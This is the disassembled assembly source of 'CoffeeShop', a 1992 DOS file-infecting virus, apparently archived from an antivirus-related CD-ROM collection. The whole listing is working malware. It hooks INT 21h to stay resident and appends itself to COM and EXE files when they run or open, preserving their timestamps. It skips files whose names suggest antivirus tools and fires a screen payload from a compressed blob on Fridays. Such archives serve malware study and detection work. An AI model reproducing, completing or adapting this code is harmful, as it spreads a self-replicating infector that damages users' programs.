home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
SOURCE.ZIP
/
COFFSHP1.ASM
< prev
next >
Wrap
Assembly Source File
|
1992-10-11
|
19KB
|
826 lines
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ COFFSHP1 ██
;██ ██
;██ Created: 23-Jun-92 ██
;██ Passes: 5 Analysis Options on: AW ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
data_1e equ 0F8h
data_2e equ 0FAh
data_3e equ 43Bh
data_4e equ 0F4h
data_5e equ 0F8h
data_6e equ 0FCh
data_15e equ 15A1h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
coffshp1 proc far
start:
jmp loc_2
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+di],ah
inc ax
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
int 20h ; DOS program terminate
db 27 dup (0)
loc_2:
call sub_2
coffshp1 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_2 proc near
pop si
mov di,100h
sub si,20h
push ax
push ds
push es
push di
push si
cld ; Clear direction
mov ah,30h ; '0'
int 21h ; DOS Services ah=function 30h
; get DOS version number ax
xchg ah,al
cmp ax,30Ah
jb loc_3 ; Jump if below
mov ax,33DAh
int 21h ; ??INT Non-standard interrupt
cmp ah,0A5h
je loc_3 ; Jump if equal
mov ax,es
dec ax
mov ds,ax
xor bx,bx ; Zero register
cmp byte ptr [bx],5Ah ; 'Z'
jne loc_3 ; Jump if not equal
mov ax,[bx+3]
sub ax,72h
jc loc_3 ; Jump if carry Set
mov [bx+3],ax
sub word ptr [bx+12h],72h
mov es,[bx+12h]
push cs
pop ds
mov cx,620h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push es
pop ds
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_1e,bx
mov ds:data_2e,es
;* mov dx,offset loc_1
db 0BAh, 01h, 02h
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
cmp al,5
jne loc_3 ; Jump if not equal
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dx=sec
or dh,dh ; Zero ?
jnz loc_3 ; Jump if not zero
pop ax
push ax
call sub_3
loc_3:
pop si
pop di
pop es
pop ds
pop ax
cmp byte ptr cs:[si+1Ch],0
je loc_4 ; Jump if equal
mov bx,ds
add bx,10h
mov cx,bx
add bx,cs:[si+0Eh]
cli ; Disable interrupts
mov ss,bx
mov sp,cs:[si+10h]
sti ; Enable interrupts
add cx,cs:[si+16h]
push cx
push word ptr cs:[si+14h]
retf ; Return far
loc_4:
push di
mov cx,1Ch
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
retn
sub_2 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_3 proc near
mov bx,ax
add bx,152h
push cs
push bx
add ax,62Fh
and ax,0FFF0h
mov di,ax
mov si,data_3e
mov cx,2E5h
push cs
pop es
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov cl,4
shr ax,cl ; Shift w/zeros fill
mov dx,cs
add ax,dx
sub ax,10h
mov ds,ax
mov es,ax
push ax
mov ax,100h
push ax
retf ; Return far
sub_3 endp
and [bp+di+6Fh],al
db 'ffeeShop '
db 0B0h, 03h,0CFh, 9Ch, 3Dh,0DAh
db 33h, 75h, 05h,0B8h, 01h,0A5h
db 9Dh,0CFh
db 06h, 1Eh, 56h, 57h, 52h, 51h
db 53h, 50h, 3Dh, 00h, 4Bh, 74h
db 0Ch, 3Dh, 00h
db 6Ch, 75h, 0Ah
db 0F6h,0C3h, 03h, 75h, 05h, 8Bh
db 0D7h
loc_7:
call sub_4
loc_8:
pop ax
pop bx
pop cx
pop dx
pop di
pop si
pop ds
pop es
popf ; Pop flags
jmp dword ptr cs:data_5e
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_4 proc near
cld ; Clear direction
push cs
pop es
mov si,dx
xor di,di ; Zero register
mov cx,80h
locloop_9:
lodsb ; String [si] to al
cmp al,0
je loc_12 ; Jump if equal
cmp al,61h ; 'a'
jb loc_10 ; Jump if below
cmp al,7Ah ; 'z'
ja loc_10 ; Jump if above
xor al,20h ; ' '
loc_10:
stosb ; Store al to es:[di]
loop locloop_9 ; Loop if cx > 0
loc_ret_11:
retn
loc_12:
stosb ; Store al to es:[di]
lea si,[di-5] ; Load effective addr
push cs
pop ds
lodsw ; String [si] to ax
cmp ax,452Eh
jne loc_13 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,4558h
jmp short loc_14
loc_13:
cmp ax,432Eh
jne loc_ret_11 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,4D4Fh
loc_14:
jne loc_ret_11 ; Jump if not equal
std ; Set direction flag
mov cx,si
inc cx
locloop_15:
lodsb ; String [si] to al
cmp al,3Ah ; ':'
je loc_16 ; Jump if equal
cmp al,5Ch ; '\'
je loc_16 ; Jump if equal
loop locloop_15 ; Loop if cx > 0
dec si
loc_16:
cld ; Clear direction
lodsw ; String [si] to ax
lodsw ; String [si] to ax
mov di,3BEh
mov cl,0Ch
repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax
jz loc_ret_11 ; Jump if zero
mov ax,3300h
int 21h ; DOS Services ah=function 33h
; get ctrl-break flag in dl
push dx
cwd ; Word to double word
inc ax
push ax
int 21h ; DOS Services ah=function 33h
; set ctrl-break flag dl=off/on
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
push es
push bx
push cs
pop ds
mov dx,offset int_24h_entry
mov ah,25h ; '%'
push ax
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,4300h
cwd ; Word to double word
int 21h ; DOS Services ah=function 43h
; get attrb cx, filename @ds:dx
push cx
xor cx,cx ; Zero register
mov ax,4301h
push ax
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
jc loc_17 ; Jump if carry Set
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_18 ; Jump if carry=0
loc_17:
jmp loc_24
loc_18:
xchg ax,bx
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
push dx
push cx
mov cx,1Ch
mov si,100h
mov dx,si
call sub_7
jc loc_19 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
cwd ; Word to double word
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov di,data_4e
mov [di],ax
mov [di+2],dx
cmp word ptr [si+12h],4021h
je loc_19 ; Jump if equal
cmp word ptr [si],5A4Dh
je loc_20 ; Jump if equal
mov byte ptr [si+1Ch],0
test byte ptr [si],80h
jz loc_19 ; Jump if zero
cmp word ptr [di],0D000h
jae loc_19 ; Jump if above or =
cmp word ptr [di],7D0h
jb loc_19 ; Jump if below
call sub_10
jnz loc_19 ; Jump if not zero
mov byte ptr [si],0E9h
mov ax,[di]
add ax,1Ah
mov [si+1],ax
jmp short loc_22
loc_19:
jmp loc_23
loc_20:
mov byte ptr [si+1Ch],1
cmp word ptr [si+18h],40h
jb loc_21 ; Jump if below
mov ax,3Ch
cwd ; Word to double word
call sub_6
jc loc_23 ; Jump if carry Set
mov ax,[si-4]
mov dx,[si-2]
call sub_6
jc loc_23 ; Jump if carry Set
cmp byte ptr [si-3],45h ; 'E'
je loc_23 ; Jump if equal
loc_21:
call sub_9
cmp [si+4],ax
jne loc_23 ; Jump if not equal
cmp [si+2],dx
jne loc_23 ; Jump if not equal
cmp word ptr [si+0Ch],0
je loc_23 ; Jump if equal
cmp word ptr [si+1Ah],0
jne loc_23 ; Jump if not equal
call sub_10
jnz loc_23 ; Jump if not zero
call sub_8
mov [si+4],ax
mov [si+2],dx
call sub_11
mov cx,10h
div cx ; ax,dx rem=dx:ax/reg
sub ax,[si+8]
dec ax
add dx,2Dh
mov [si+16h],ax
mov [si+0Eh],ax
mov [si+14h],dx
mov word ptr [si+10h],17E0h
lea di,[si+0Ah] ; Load effective addr
call sub_5
lea di,[si+0Ch] ; Load effective addr
call sub_5
loc_22:
call sub_12
mov word ptr [si+12h],4021h
mov cx,1Ch
mov dx,si
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_23:
pop cx
pop dx
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_24:
pop ax
pop cx
cwd ; Word to double word
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
pop ax
pop dx
pop ds
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ax
pop dx
int 21h ; DOS Services ah=function 33h
; set ctrl-break flag dl=off/on
retn
sub_4 endp
inc bx
dec di
push bx
inc bx
inc bx
dec sp
push si
push bx
dec si
inc bp
dec ax
push sp
push sp
inc dx
push si
dec cx
push dx
inc cx
inc si
inc bp
dec bp
push sp
inc dx
push dx
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_5 proc near
mov ax,[di]
sub ax,62h
jc loc_25 ; Jump if carry Set
cmp ax,14Bh
jae loc_26 ; Jump if above or =
loc_25:
mov ax,14Bh
loc_26:
mov [di],ax
retn
sub_5 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_6 proc near
call sub_13
mov dx,data_6e
mov cx,4
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_7:
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
retn
sub_6 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_8 proc near
call sub_11
add ax,620h
adc dx,0
jmp short loc_27
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_9:
call sub_11
loc_27:
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
or dx,dx ; Zero ?
jz loc_ret_28 ; Jump if zero
inc ax
loc_ret_28:
retn
sub_8 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_10 proc near
call sub_11
call sub_13
mov cx,620h
mov dx,si
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
cmp ax,cx
retn
sub_10 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_11 proc near
mov ax,[di]
mov dx,[di+2]
retn
sub_11 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_12 proc near
xor ax,ax ; Zero register
cwd ; Word to double word
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_13:
xchg cx,dx
xchg ax,dx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
retn
sub_12 endp
and [di+4Bh],cl
and [bx],ah
cmp [bp+si],si
and ds:data_15e[bx],bh
cmp di,sp
jb loc_29 ; Jump if below
mov ah,4Ch ; 'L'
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
loc_29:
mov si,403h
mov cx,170h
std ; Set direction flag
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
cld ; Clear direction
mov si,di
mov di,100h
lodsw ; String [si] to ax
lodsw ; String [si] to ax
mov bp,ax
mov dl,10h
jmp $+1439h
adc ax,7FDFh
cld ; Clear direction
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov ah,0
push ax
sti ; Enable interrupts
mov bh,0B0h
cmp al,7
;* je loc_31 ; Jump if equal
db 74h,0FFh
dec word ptr [bp+si]
cmp al,4
jae $+2Ah ; Jump if above or =
mov bh,0B8h
cmp al,2
jb $+24h ; Jump if below
mov es,bx
mov si,140h
db 0FFh,0FFh,0B0h, 19h, 57h,0B1h
db 50h,0F3h,0A5h, 5Fh, 81h,0C7h
db 0A0h, 00h,0FEh,0C8h, 75h,0F2h
db 03h, 8Fh,0B8h, 07h, 0Eh,0D6h
db 0FBh, 0Ch,0CDh, 21h, 58h,0F8h
db 63h,0A7h,0CBh, 20h, 02h,0FEh
db 20h, 00h,0FAh,0EBh,0B0h,0FCh
db 0F8h, 03h, 77h,0F0h,0E0h,0D0h
db 41h, 0Fh,0C0h, 2Fh, 07h, 1Dh
db 80h, 6Fh,0BAh,0DCh,0E1h, 34h
db 0DBh, 0Ch,0F8h,0F0h, 0Eh,0DFh
db 0FEh,0F4h,0F8h,0BBh,0AEh,0F8h
db 0E4h, 03h, 84h,0E0h,0FCh,0EBh
db 0B0h,0E6h,0EAh,0A3h, 83h,0DAh
db 0AAh, 0Eh,0DCh, 09h,0BAh,0C8h
db 01h, 3Ah,0F0h, 50h, 07h,0A2h
db 0E8h,0E0h,0ACh, 05h,0DBh, 0Eh
db 77h, 0Fh,0F8h,0DCh,0F6h,0BAh
db 0AEh,0F0h,0F6h,0EBh, 3Ah,0F0h
db 0F4h,0E0h, 40h, 17h,0FAh
loc_33:
in al,dx ; port 10h ??I/O Non-standard
sbb ax,0DF72h
esc 2,dl ; coprocessor escape
jz loc_33 ; Jump if zero
mov dx,20DDh
sbb ax,0DE74h
and [bp+si-45F9h],ch
esc 0,[bx+di-8] ; coprocessor escape
inc di
xchg di,ax
call $-171Ch
clc ; Clear carry flag
xchg ax,dx
hlt ; Halt processor
add [di],bl
db 60h,0D8h,0E8h, 09h,0DCh,0FEh
db 09h,0F8h,0B0h, 23h,0F8h, 5Ch
db 0D7h,0FCh,0F8h,0FCh,0E8h, 01h
db 3Bh,0F4h,0ECh, 80h,0D2h, 1Dh
db 0BEh,0BAh, 5Ch, 20h, 7Ch, 03h
db 75h, 60h,0CAh, 20h, 0Eh,0B2h
db 0D8h, 81h,0F0h, 3Bh, 40h, 92h
db 0D7h,0B5h,0CEh,0F8h,0DCh, 60h
db 0A7h, 41h,0DEh, 60h, 02h,0B5h
db 0BEh, 3Ch, 20h, 0Fh, 7Bh, 22h
db 65h, 07h, 15h, 60h, 6Eh, 42h
db 68h,0B8h, 20h,0FEh,0FCh,0AEh
db 23h,0FCh,0E2h, 7Fh, 07h,0C0h
db 0B3h, 20h, 2Fh, 60h, 79h, 28h
db 6Ah,0DEh, 7Eh,0E0h, 08h,0D5h
db 09h,0E4h,0C0h, 60h,0C1h, 70h
db 0Bh,0DFh,0E4h, 42h,0D0h, 7Bh
db 4Fh, 5Eh, 9Ah, 05h,0ADh
db 22h
db 06h, 80h, 70h, 10h, 60h, 3Eh
db 05h,0CAh, 5Eh, 41h, 46h,0A4h
db 53h,0EFh, 15h
db 7Ah
db 97h,0C2h, 54h, 74h, 04h, 20h
db 60h, 50h, 45h, 01h,0C8h,0E8h
db 0DCh, 05h,0F9h, 06h, 54h,0D8h
db 0DEh, 41h, 2Dh, 78h, 7Ah, 01h
db 55h, 75h, 04h, 20h, 76h, 1Dh
db 0B8h, 2Eh,0EAh,0A0h,0C6h, 62h
db 55h, 83h, 8Ah, 5Eh, 09h,0C0h
db 0Ah, 5Ch, 20h,0C6h, 11h, 12h
db 0D0h, 2Ah, 74h, 58h, 5Dh, 5Eh
db 17h, 5Bh, 60h, 80h, 92h, 0Eh
db 40h,0EAh, 40h, 75h,0ACh, 62h
db 15h, 74h,0C4h, 59h, 5Eh,0C0h
db 9Dh,0C4h, 82h, 15h, 08h,0DCh
db 20h, 14h, 90h, 60h, 20h, 43h
db 66h, 62h, 94h, 50h, 3Bh, 65h
db 0ECh, 5Eh,0A4h, 1Dh,0CFh, 70h
db 80h,0C2h, 20h, 8Ah, 0Eh,0B2h
db 62h, 2Ah,0ECh, 69h,0CCh, 5Eh
db 80h, 55h,0BEh, 0Bh,0C0h, 80h
db 62h, 41h, 0Eh, 04h, 72h,0FEh
db 56h, 05h, 6Eh, 10h, 01h,0D5h
db 41h,0AEh,0FEh,0CEh, 9Eh,0D1h
db 08h,0FEh,0C4h,0E9h, 5Ch,0E6h
db 0AAh, 62h,0CCh,0C0h,0C8h, 01h
db 62h, 39h,0ECh, 6Ch,0F2h, 9Dh
db 62h,0BCh, 94h, 48h, 41h, 28h
db 4Ah, 45h, 38h, 26h,0FEh, 52h
db 1Ch, 5Ah, 5Fh,0FEh,0BEh, 40h
db 02h, 84h,0F2h, 0Ah,0B8h,0AEh
db 70h,0FEh,0FCh, 8Eh, 12h, 6Ah
db 0DEh, 54h,0D8h, 61h,0ACh, 50h
db 0B1h, 43h, 3Eh, 72h, 80h,0A3h
db 60h, 48h, 6Ah, 82h, 0Eh, 96h
db 02h, 66h, 3Ah, 6Ch, 58h, 84h
db 0B4h,0D1h, 01h, 5Ah, 48h, 3Ah
db 0EAh, 44h, 70h, 0Bh,0E8h,0D8h
db 24h, 9Eh, 28h, 12h, 73h,0C6h
db 54h,0D0h,0FFh
db 0F0h,0FFh, 60h, 34h, 50h, 00h
db 00h,0FFh
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_14 proc near
shr bp,1 ; Shift w/zeros fill
dec dl
jnz loc_ret_38 ; Jump if not zero
lodsw ; String [si] to ax
mov bp,ax
mov dl,10h
loc_ret_38:
retn
sub_14 endp
loc_39:
call sub_14
rcl bh,1 ; Rotate thru carry
call sub_14
jc loc_42 ; Jump if carry Set
mov dh,2
mov cl,3
locloop_40:
call sub_14
jc loc_41 ; Jump if carry Set
call sub_14
rcl bh,1 ; Rotate thru carry
shl dh,1 ; Shift w/zeros fill
loop locloop_40 ; Loop if cx > 0
loc_41:
sub bh,dh
loc_42:
mov dh,2
mov cl,4
locloop_43:
inc dh
call sub_14
jc loc_44 ; Jump if carry Set
loop locloop_43 ; Loop if cx > 0
call sub_14
jnc loc_45 ; Jump if carry=0
inc dh
call sub_14
jnc loc_44 ; Jump if carry=0
inc dh
loc_44:
mov cl,dh
jmp short locloop_51
loc_45:
call sub_14
jc loc_47 ; Jump if carry Set
mov cl,3
mov dh,0
locloop_46:
call sub_14
rcl dh,1 ; Rotate thru carry
loop locloop_46 ; Loop if cx > 0
add dh,9
jmp short loc_44
loc_47:
lodsb ; String [si] to al
mov cl,al
add cx,11h
jmp short locloop_51
loc_48:
mov cl,3
locloop_49:
call sub_14
rcl bh,1 ; Rotate thru carry
loop locloop_49 ; Loop if cx > 0
dec bh
loc_50:
mov cl,2
locloop_51:
mov al,es:[bx+di]
stosb ; Store al to es:[di]
loop locloop_51 ; Loop if cx > 0
loc_52:
call sub_14
jnc loc_53 ; Jump if carry=0
movsb ; Mov [si] to es:[di]
jmp short loc_52
loc_53:
call sub_14
lodsb ; String [si] to al
mov bh,0FFh
mov bl,al
jc loc_39 ; Jump if carry Set
call sub_14
jc loc_48 ; Jump if carry Set
cmp bh,bl
jne loc_50 ; Jump if not equal
xor bp,bp ; Zero register
xor di,di ; Zero register
xor si,si ; Zero register
xor dx,dx ; Zero register
xor bx,bx ; Zero register
xor ax,ax ; Zero register
jmp $-1480h
seg_a ends
end start
